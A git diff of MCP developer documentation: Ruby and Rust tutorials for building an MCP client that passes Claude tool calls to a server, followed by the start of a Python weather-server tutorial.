+ * Configures the `IChatClient` to use automatic tool (function) invocation.
+ * The client reads user input and sends it to the server.
+ * The server processes the query and returns a response.
+ * The response is displayed to the user.
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ dotnet run -- path/to/server.csproj # dotnet server
+ dotnet run -- path/to/server.py # python server
+ dotnet run -- path/to/server.js # node server
+ ```
+
+
+ If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`.
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+ 4. Exit the session when done
+
+ Here's an example of what it should look like if connected to the weather server quickstart:
+
+
+
+
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby))
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, create a new Ruby project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ touch client.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ new-item client.rb
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our requires and create the basic client class:
+
+ ```ruby theme={null}
+ require "anthropic"
+ require "dotenv/load"
+ require "json"
+ require "mcp"
+
+ class MCPClient
+ ANTHROPIC_MODEL = "claude-opus-5"
+
+ def initialize
+ @mcp_client = nil
+ @transport = nil
+ @anthropic_client = nil
+ end
+
+ # methods will go here
+ end
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```ruby theme={null}
+ def connect_to_server(server_script_path)
+ command = case File.extname(server_script_path)
+ when ".rb"
+ "ruby"
+ when ".py"
+ "python3"
+ when ".js"
+ "node"
+ else
+ raise ArgumentError, "Server script must be a .rb, .py, or .js file."
+ end
+
+ @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path])
+ @mcp_client = MCP::Client.new(transport: @transport)
+ @mcp_client.connect
+
+ tool_names = @mcp_client.tools.map(&:name)
+ puts "\nConnected to server with tools: #{tool_names}"
+ end
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```ruby theme={null}
+ private
+
+ def process_query(query)
+ messages = [{ role: "user", content: query }]
+
+ available_tools = @mcp_client.tools.map do |tool|
+ { name: tool.name, description: tool.description, input_schema: tool.input_schema }
+ end
+
+ # Initial Claude API call.
+ response = chat(messages, tools: available_tools)
+
+ # Process response and handle tool calls.
+ if response.content.any?(Anthropic::Models::ToolUseBlock)
+ assistant_content = response.content.filter_map do |content_block|
+ case content_block
+ when Anthropic::Models::TextBlock
+ { type: "text", text: content_block.text }
+ when Anthropic::Models::ToolUseBlock
+ { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input }
+ end
+ end
+ messages << { role: "assistant", content: assistant_content }
+ end
+
+ response.content.each_with_object([]) do |content, response_parts|
+ case content
+ when Anthropic::Models::TextBlock
+ response_parts << content.text
+ when Anthropic::Models::ToolUseBlock
+ # Execute tool call via MCP.
+ result = @mcp_client.call_tool(name: content.name, arguments: content.input)
+ response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]"
+
+ tool_result_content = result.dig("result", "content")
+ result_text = if tool_result_content.is_a?(Array)
+ tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n")
+ else
+ tool_result_content.to_s
+ end
+
+ messages << {
+ role: "user",
+ content: [{
+ type: "tool_result",
+ tool_use_id: content.id,
+ content: result_text
+ }]
+ }
+
+ # Get next response from Claude.
+ response = chat(messages)
+
+ response.content.each do |content_block|
+ response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock)
+ end
+ end
+ end.join("\n")
+ end
+
+ def chat(messages, tools: nil)
+ params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages }
+ params[:tools] = tools if tools
+
+ anthropic_client.messages.create(**params)
+ end
+
+ def anthropic_client
+ @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"])
+ end
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```ruby theme={null}
+ def chat_loop
+ puts <<~MESSAGE
+ MCP Client Started!
+ Type your queries or 'quit' to exit.
+ MESSAGE
+
+ loop do
+ print "\nQuery: "
+ line = $stdin.gets
+ break if line.nil?
+
+ query = line.chomp.strip
+ break if query.downcase == "quit"
+ next if query.empty?
+
+ begin
+ response = process_query(query)
+ puts "\n#{response}"
+ rescue => e
+ puts "\nError: #{e.message}"
+ end
+ end
+ end
+
+ def cleanup
+ @transport&.close
+ end
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```ruby theme={null}
+ if ARGV.empty?
+ puts "Usage: ruby client.rb "
+ exit 1
+ end
+
+ client = MCPClient.new
+
+ begin
+ client.connect_to_server(ARGV[0])
+
+ api_key = ENV["ANTHROPIC_API_KEY"]
+ if api_key.nil? || api_key.empty?
+ puts <<~MESSAGE
+ No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key:
+ export ANTHROPIC_API_KEY=your-api-key-here
+ MESSAGE
+ exit
+ end
+
+ client.chat_loop
+ rescue => e
+ puts "Error: #{e.message}"
+ exit 1
+ ensure
+ client.cleanup
+ end
+ ```
+
+ You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with nil references for lazy setup
+ * The Anthropic client is lazily initialized via the `anthropic_client` method
+ * Uses `dotenv` to load environment variables from `.env`
+
+ ### 2. Server Connection
+
+ * Supports Ruby, Python, and Node.js servers
+ * Uses `File.extname` to determine the server script type
+ * Uses `MCP::Client::Stdio` for stdio transport
+ * Initializes the MCP client and lists available tools
+
+ ### 3. Query Processing
+
+ * Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`)
+ * Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching
+ * Builds assistant content once before iterating tool calls
+ * Executes tool calls via `@mcp_client.call_tool`
+ * Uses `chat` helper method to wrap Anthropic API calls
+ * Extracts tool result content with `result.dig("result", "content")`
+ * Passes tool results back to Claude for a final response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Skips empty queries
+ * Includes basic error handling
+
+ ### 5. Resource Management
+
+ * Proper cleanup of the transport via `begin`...`ensure`
+ * Top-level `rescue` for error handling
+ * API key validation after server connection
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ bundle exec ruby client.rb path/to/server.rb # ruby server
+ bundle exec ruby client.rb path/to/server.py # python server
+ bundle exec ruby client.rb path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Wrap tool calls in `begin`...`rescue` blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Always close the transport when done
+ * Use `begin`...`ensure` for proper cleanup
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ 4. **Tool Names**
+ * Tool names can be validated according to the format specified [here](/specification/draft/server/tools#tool-names)
+ * If a tool name conforms to the specified format, it should not fail validation by an MCP client
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ bundle exec ruby client.rb ./server/weather.rb
+
+ # Absolute path
+ bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb
+
+ # Windows path (either format works)
+ bundle exec ruby client.rb C:/projects/mcp-server/weather.rb
+ bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY`
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-rust)
+
+ ## System Requirements
+
+ Before starting, ensure your Linux system meets these requirements:
+
+ * Latest stable version of [Rust and Cargo](https://www.rust-lang.org/tools/install)
+ * Anthropic API key (Claude)
+ * A Python, Node.js, or executable MCP server to connect to
+
+ ## Setting Up Your Environment
+
+ First, create a new Rust project:
+
+ ```bash theme={null}
+ cargo new mcp-client-rust
+ cd mcp-client-rust
+ ```
+
+ Replace the contents of `Cargo.toml` with the following:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "mcp-client-rust"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ anyhow = "1.0.100"
+ genai = "0.4.2"
+ rmcp = { version = "0.8.0", features = ["server", "client", "transport-io", "transport-child-process"] }
+ tokio = { version = "1.47.1", features = ["full"] }
+ tracing = "0.1.41"
+ tracing-subscriber = { version = "0.3", features = ["env-filter"] }
+ serde_json = "1.0.128"
+ dotenvy = "0.15.7"
+ reqwest = "0.12.23"
+ ```
+
+ The [`rmcp`](https://github.com/modelcontextprotocol/rust-sdk) crate provides the Rust MCP SDK and child-process transport. This example uses the [`genai`](https://github.com/jeremychone/rust-genai) crate to send requests to Claude and represent tools in the model request.
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ Open `src/main.rs` and replace its contents as you work through the following sections.
+
+ ### Imports and Client Structure
+
+ First, add the imports, model constant, and basic client structure:
+
+ ```rust theme={null}
+ use anyhow::{Context, Result, bail};
+ use genai::Client;
+ use genai::chat::{
+ ChatMessage, ChatRequest, ChatResponse, ContentPart, Tool as GenaiTool, ToolResponse,
+ };
+ use rmcp::model::{CallToolRequestParam, Tool as McpTool};
+ use rmcp::service::{RoleClient, RunningService, ServiceExt};
+ use rmcp::transport::TokioChildProcess;
+ use serde_json::Value;
+ use tokio::io::{self, AsyncBufReadExt, BufReader};
+ use tokio::process::Command;
+
+ const MODEL_ANTHROPIC: &str = "claude-opus-5";
+
+ struct MCPClient {
+ anthropic: Client,
+ session: Option>,
+ tools: Vec,
+ }
+ ```
+
+ The client keeps the model API client, the active MCP session, and the tools advertised by the connected server.
+
+ ### Client Initialization
+
+ Next, initialize the model client and start without an MCP session or tools:
+
+ ```rust theme={null}
+ impl MCPClient {
+ fn new() -> Result {
+ Ok(MCPClient {
+ anthropic: Client::default(),
+ session: None,
+ tools: Vec::new(),
+ })
+ }
+
+ // Additional methods will go here.
+ }
+ ```
+
+ `genai::Client::default()` reads the `ANTHROPIC_API_KEY` environment variable when it sends a request.
+
+ ### Server Connection Management
+
+ Add this method inside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ async fn connect_to_server(&mut self, server_args: &[String]) -> Result<()> {
+ if self.session.is_some() {
+ bail!("Client is already connected to a server");
+ }
+
+ let mut command = Command::new(&server_args[0]);
+ command.args(&server_args[1..]);
+
+ let process = TokioChildProcess::new(command)
+ .with_context(|| format!("Failed to spawn server process for {:?}", server_args))?;
+
+ let session = ().serve(process).await?;
+
+ let rmcp_tools = session
+ .list_all_tools()
+ .await
+ .context("Unable to list tools from server")?;
+
+ let tool_names: Vec = rmcp_tools
+ .iter()
+ .map(|tool| tool.name.to_string())
+ .collect();
+
+ println!("Connected to server with tools: {tool_names:?}");
+
+ self.tools = convert_tools(&rmcp_tools);
+ self.session = Some(session);
+ Ok(())
+ }
+ ```
+
+ This method:
+
+ 1. Starts the server as a child process using the command and arguments supplied on the command line
+ 2. Establishes an MCP session over stdio
+ 3. Lists all tools advertised by the server
+ 4. Converts those tools into the format used in model requests
+
+ ### Converting MCP Tools
+
+ Add this function outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ fn convert_tools(tools: &[McpTool]) -> Vec {
+ tools
+ .iter()
+ .map(|tool| GenaiTool {
+ name: tool.name.to_string(),
+ description: tool.description.as_deref().map(str::to_string),
+ schema: Some(Value::Object(tool.input_schema.as_ref().clone())),
+ config: None,
+ })
+ .collect()
+ }
+ ```
+
+ MCP and model APIs describe tools with similar information but different Rust types. `convert_tools` maps each MCP tool's name, description, and input schema into a `genai` tool definition.
+
+ ### Sending Model Requests
+
+ Add this helper method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn request_model(&self, chat_req: &ChatRequest) -> Result {
+ let response = self
+ .anthropic
+ .exec_chat(MODEL_ANTHROPIC, chat_req.clone(), None)
+ .await
+ .context("Anthropic chat request failed")?;
+
+ Ok(response)
+ }
+ ```
+
+ This keeps model request handling in one place and adds useful context if the API request fails.
+
+ ### Query Processing Logic
+
+ Now add the core query-processing method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn process_query(&mut self, query: &str) -> Result {
+ let session = self
+ .session
+ .as_ref()
+ .context("Client is not connected to any server")?;
+
+ let mut messages = vec![ChatMessage::user(query)];
+ let mut final_text = Vec::new();
+
+ // Initial Claude API call with tools
+ let mut chat_req = ChatRequest::new(messages.clone()).with_tools(self.tools.clone());
+ let mut chat_rsp = self.request_model(&chat_req).await?;
+
+ // Process response content - collect text and handle tool calls
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+
+ let tool_calls = chat_rsp.tool_calls();
+ if !tool_calls.is_empty() {
+ // Append assistant's response to message history
+ messages.push(ChatMessage::assistant(chat_rsp.content.clone()));
+
+ // Execute each tool call and collect responses
+ let mut tool_results = Vec::new();
+ for tool_call in tool_calls {
+ // Add information about the tool call to final text
+ let tool_args_str = serde_json::to_string(&tool_call.fn_arguments)
+ .unwrap_or_else(|_| "{}".to_string());
+
+ final_text.push(format!(
+ "[Calling tool {} with args {}]",
+ tool_call.fn_name, tool_args_str
+ ));
+
+ // Query the MCP server
+ let tool_result = session
+ .call_tool(CallToolRequestParam {
+ name: tool_call.fn_name.clone().into(),
+ arguments: tool_call.fn_arguments.as_object().cloned(),
+ })
+ .await
+ .with_context(|| format!("Tool call {} failed", tool_call.fn_name))?;
+
+ let payload = serde_json::to_string(&tool_result)
+ .context("Failed to serialize tool result")?;
+
+ tool_results.push(ContentPart::ToolResponse(ToolResponse::new(
+ tool_call.call_id.clone(),
+ payload,
+ )));
+ }
+
+ // Append tool responses to message history
+ messages.push(ChatMessage::user(tool_results));
+
+ // Build the next request and query model
+ chat_req = ChatRequest::new(messages.clone());
+ chat_rsp = self.request_model(&chat_req).await?;
+
+ // Collect text from response
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+ }
+
+ Ok(final_text.join("\n"))
+ }
+ ```
+
+ The method first sends the user's query and available tools to Claude. When Claude requests tools, the client executes each request through the MCP session, sends the results back to Claude, and collects the final text response.
+
+ ### Interactive Chat Interface
+
+ Add the interactive terminal loop inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn chat_loop(&mut self) -> Result<()> {
+ println!("\nMCP Client Started!");
+ println!("Type your queries or 'quit' to exit.");
+
+ let mut stdin = BufReader::new(io::stdin());
+ let mut input = String::new();
+
+ loop {
+ print!("\nQuery: ");
+ std::io::Write::flush(&mut std::io::stdout())?;
+
+ input.clear();
+ if stdin.read_line(&mut input).await? == 0 {
+ break; // EOF
+ }
+
+ let query = input.trim();
+ if query.eq_ignore_ascii_case("quit") {
+ break;
+ }
+ if query.is_empty() {
+ continue;
+ }
+
+ match self.process_query(query).await {
+ Ok(response) => println!("\n{}", response),
+ Err(err) => println!("\nError: {}", err),
+ }
+ }
+
+ Ok(())
+ }
+ ```
+
+ The loop accepts queries until the user types `quit` or closes standard input. Query errors are printed without terminating the client.
+
+ ### Cleanup
+
+ Add this method inside `impl MCPClient` to stop the MCP session and child process:
+
+ ```rust theme={null}
+ async fn cleanup(&mut self) -> Result<()> {
+ if let Some(session) = self.session.take() {
+ let _ = session.cancel().await;
+ }
+ Ok(())
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, add the asynchronous entry point outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ dotenvy::dotenv().context("Failed to load env file")?;
+
+ let mut args = std::env::args();
+ let _ = args.next();
+ let server_args: Vec = args.collect();
+
+ if server_args.is_empty() {
+ eprintln!("Usage: cargo run -- [args...]");
+ std::process::exit(1);
+ }
+
+ let mut client = MCPClient::new()?;
+
+ let result = async {
+ client.connect_to_server(&server_args).await?;
+ client.chat_loop().await
+ }
+ .await;
+
+ let cleanup_result = client.cleanup().await;
+
+ result?;
+ cleanup_result?;
+
+ Ok(())
+ }
+ ```
+
+ The entry point loads `.env`, treats all remaining command-line arguments as the server command, connects the client, starts the chat loop, and ensures cleanup runs before exiting.
+
+ ### Verify the Complete File
+
+ Before running the client, confirm the items in `src/main.rs` are placed at the correct scope:
+
+ * `new`, `connect_to_server`, `process_query`, `request_model`, `chat_loop`, and `cleanup` are methods inside the single `impl MCPClient` block.
+ * `main` and `convert_tools` are functions outside the `impl MCPClient` block.
+
+ Rust does not require these items to appear in a particular order, but methods and free functions must be placed in the correct scope. Compare your file with the [complete `src/main.rs` example](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-rust/src/main.rs), then check that it compiles:
+
+ ```bash theme={null}
+ cargo fmt --check
+ cargo check
+ ```
+
+ ## Running the Client
+
+ Use `cargo run --` followed by the command you would normally use to start the MCP server:
+
+ ```bash theme={null}
+ # Python server
+ cargo run -- python path/to/server.py
+
+ # Node.js server
+ cargo run -- node path/to/build/index.js
+
+ # Executable server
+ cargo run -- path/to/server-binary
+ ```
+
+ Running bare `cargo run` without a server command prints the usage message and exits.
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust), build the server first and then run a command similar to: `cargo run -- ../weather-server-rust/target/debug/weather`
+
+
+ The client will:
+
+ 1. Start and connect to the specified MCP server
+ 2. List the tools available from that server
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client sends your query and the server's available tools to Claude
+ 2. Claude decides which tools, if any, to use
+ 3. The client executes requested tools through the MCP session
+ 4. Tool results are sent back to Claude
+ 5. Claude provides a natural language response
+ 6. The response is displayed in the terminal
+
+ ## Best Practices
+
+ 1. **Error Handling**
+ * Add context to errors at process, MCP, model API, and serialization boundaries
+ * Report individual query errors without terminating the interactive session
+ * Validate server commands before running them
+
+ 2. **Resource Management**
+ * Always cancel the MCP session during cleanup
+ * Ensure cleanup runs even when connection or chat-loop operations fail
+ * Avoid starting a second server while a session is active
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Review the tools exposed by a server before allowing model-driven calls
+ * Connect only to servers and executable commands you trust
+
+ ## Troubleshooting
+
+ ### Server Command Issues
+
+ The arguments after `cargo run --` must form a complete command. Interpreted server scripts need their runtime:
+
+ ```bash theme={null}
+ # Correct
+ cargo run -- python ./server/weather.py
+ cargo run -- node ./server/build/index.js
+
+ # Incorrect: a Python script is not necessarily executable by itself
+ cargo run -- ./server/weather.py
+ ```
+
+ If a command cannot be found, use its absolute path or verify it is available in your `PATH`.
+
+ ### Environment File Issues
+
+ If you see `Failed to load env file`, ensure `.env` exists in the directory where you run the client.
+
+ If the model request reports a missing API key, confirm that `.env` contains:
+
+ ```text theme={null}
+ ANTHROPIC_API_KEY=your-api-key-goes-here
+ ```
+
+ ### Tool and Response Errors
+
+ * `Unable to list tools from server`: Verify the server starts successfully and communicates over stdio
+ * `Tool call ... failed`: Verify the server tool's required arguments and environment variables
+ * `Failed to serialize tool result`: Inspect the server's response for unsupported or malformed content
+
+
+
+## Next steps
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
diff --git a/content/mcp/docs/draft/develop/build-server.md b/content/mcp/docs/draft/develop/build-server.md
new file mode 100644
index 000000000..6feb73e82
--- /dev/null
+++ b/content/mcp/docs/draft/develop/build-server.md
@@ -0,0 +1,2999 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP server
+
+> Get started building your own server to use in Claude for Desktop and other clients.
+
+In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop.
+
+### What we'll be building
+
+We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop):
+
+
+
+
+
+
+ Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have a guide on [building your own client](/docs/draft/develop/build-client).
+
+
+### Core MCP Concepts
+
+MCP servers can provide three main types of capabilities:
+
+1. **[Resources](/docs/draft/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents)
+2. **[Tools](/docs/draft/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval)
+3. **[Prompts](/docs/draft/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks
+
+This tutorial will primarily focus on tools.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Python
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, so keep it out of a STDIO server entirely.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use the standard library `logging` module, which writes to stderr.
+ * Create one logger per module with `logging.getLogger(__name__)` and call it from your tools.
+
+ ### Quick Examples
+
+ ```python theme={null}
+ import logging
+
+ logger = logging.getLogger(__name__)
+
+ # ❌ Bad (STDIO)
+ print("Processing request")
+
+ # ✅ Good (STDIO)
+ logger.info("Processing request") # writes to stderr
+ ```
+
+ ### System requirements
+
+ * Python 3.10 or higher installed.
+ * You must use the Python MCP SDK 2.0.0 or higher.
+
+ ### Set up your environment
+
+ First, let's install `uv` and set up our Python project and environment:
+
+
+ ```bash macOS/Linux theme={null}
+ curl -LsSf https://astral.sh/uv/install.sh | sh
+ ```
+
+ ```powershell Windows theme={null}
+ powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
+ ```
+
+
+ Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ source .venv/bin/activate
+
+ # Install dependencies
+ uv add "mcp[cli]"
+
+ # Create our server file
+ touch weather.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ .venv\Scripts\activate
+
+ # Install dependencies
+ uv add mcp[cli]
+
+ # Create our server file
+ new-item weather.py
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up the instance
+
+ Add these to the top of your `weather.py`:
+
+ ```python theme={null}
+ from typing import Any
+
+ import httpx2
+ from mcp.server import MCPServer
+
+ # Initialize MCPServer
+ mcp = MCPServer("weather")
+
+ # Constants
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ `httpx2` is the HTTP client the SDK itself depends on, so installing `mcp` already brought it in.
+
+ The MCPServer class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools.
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```python theme={null}
+ async def make_nws_request(url: str) -> dict[str, Any] | None:
+ """Make a request to the NWS API with proper error handling."""
+ headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"}
+ async with httpx2.AsyncClient() as client:
+ try:
+ response = await client.get(url, headers=headers, timeout=30.0)
+ response.raise_for_status()
+ return response.json()
+ except Exception:
+ return None
+
+
+ def format_alert(feature: dict) -> str:
+ """Format an alert feature into a readable string."""
+ props = feature["properties"]
+ return f"""
+ Event: {props.get("event", "Unknown")}
+ Area: {props.get("areaDesc", "Unknown")}
+ Severity: {props.get("severity", "Unknown")}
+ Description: {props.get("description", "No description available")}
+ Instructions: {props.get("instruction", "No specific instructions provided")}
+ """
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```python theme={null}
+ @mcp.tool()
+ async def get_alerts(state: str) -> str:
+ """Get weather alerts for a US state.
+
+ Args:
+ state: Two-letter US state code (e.g. CA, NY)
+ """
+ url = f"{NWS_API_BASE}/alerts/active/area/{state}"
+ data = await make_nws_request(url)
+
+ if not data or "features" not in data:
+ return "Unable to fetch alerts or no alerts found."
+
+ if not data["features"]:
+ return "No active alerts for this state."
+
+ alerts = [format_alert(feature) for feature in data["features"]]
+ return "\n---\n".join(alerts)
+
+
+ @mcp.tool()
+ async def get_forecast(latitude: float, longitude: float) -> str:
+ """Get weather forecast for a location.
+
+ Args:
+ latitude: Latitude of the location
+ longitude: Longitude of the location
+ """
+ # First get the forecast grid endpoint
+ points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}"
+ points_data = await make_nws_request(points_url)
+
+ if not points_data:
+ return "Unable to fetch forecast data for this location."
+
+ # Get the forecast URL from the points response
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = await make_nws_request(forecast_url)
+
+ if not forecast_data:
+ return "Unable to fetch detailed forecast."
+
+ # Format the periods into a readable forecast
+ periods = forecast_data["properties"]["periods"]
+ forecasts = []
+ for period in periods[:5]: # Only show next 5 periods
+ forecast = f"""
+ {period["name"]}:
+ Temperature: {period["temperature"]}°{period["temperatureUnit"]}
+ Wind: {period["windSpeed"]} {period["windDirection"]}
+ Forecast: {period["detailedForecast"]}
+ """
+ forecasts.append(forecast)
+
+ return "\n---\n".join(forecasts)
+ ```
+
+ ### Running the server
+
+ Finally, let's initialize and run the server:
+
+ ```python theme={null}
+ if __name__ == "__main__":
+ mcp.run(transport="stdio")
+ ```
+
+ Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/draft/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
